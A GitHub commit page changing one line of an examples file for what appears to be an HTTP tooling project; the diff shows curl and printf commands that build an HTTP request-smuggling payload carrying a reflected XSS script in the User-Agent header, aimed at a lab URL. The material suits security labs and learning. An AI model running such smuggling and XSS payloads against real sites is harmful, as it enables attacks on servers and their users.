Skip to content

Commit

Permalink
Update EXAMPLES.md
Browse files Browse the repository at this point in the history
  • Loading branch information
ariary authored Jul 29, 2022
1 parent 0d56d57 commit 90cdbe5
Showing 1 changed file with 1 addition and 1 deletion.
2 changes: 1 addition & 1 deletion EXAMPLES.md
Original file line number Diff line number Diff line change
Expand Up @@ -400,7 +400,7 @@ to construct this request:
#Launch server
httpecho -s
# Construct a GET request with reflected xss
curl -s http://localhost:8888/admin -X GET --data "x=1" -H "Content-Length: 5" -H "Connection: close" -H 'User-Agent:"/><script>alert(1)</script>' -H 'Accept:' -H 'Host:' > xss
curl -s http://localhost:8888/post?postId=3 -X GET --data "x=1" -H "Content-Length: 5" -H "Connection: close" -H 'User-Agent:"/><script>alert(1)</script>' -H 'Accept:' -H 'Host:' > xss
# Adjust body to smuggle "xss reflected" request
printf "0\r\n\r\n$(cat xss)" > payload
curl -s -X POST http://localhost:8888/ --data-binary "@payload" -H "Host: $LAB_URL" -H 'User-Agent:' -H 'Accept:' | httpoverride --chunked > smuggle
Expand Down

0 comments on commit 90cdbe5

Please sign in to comment.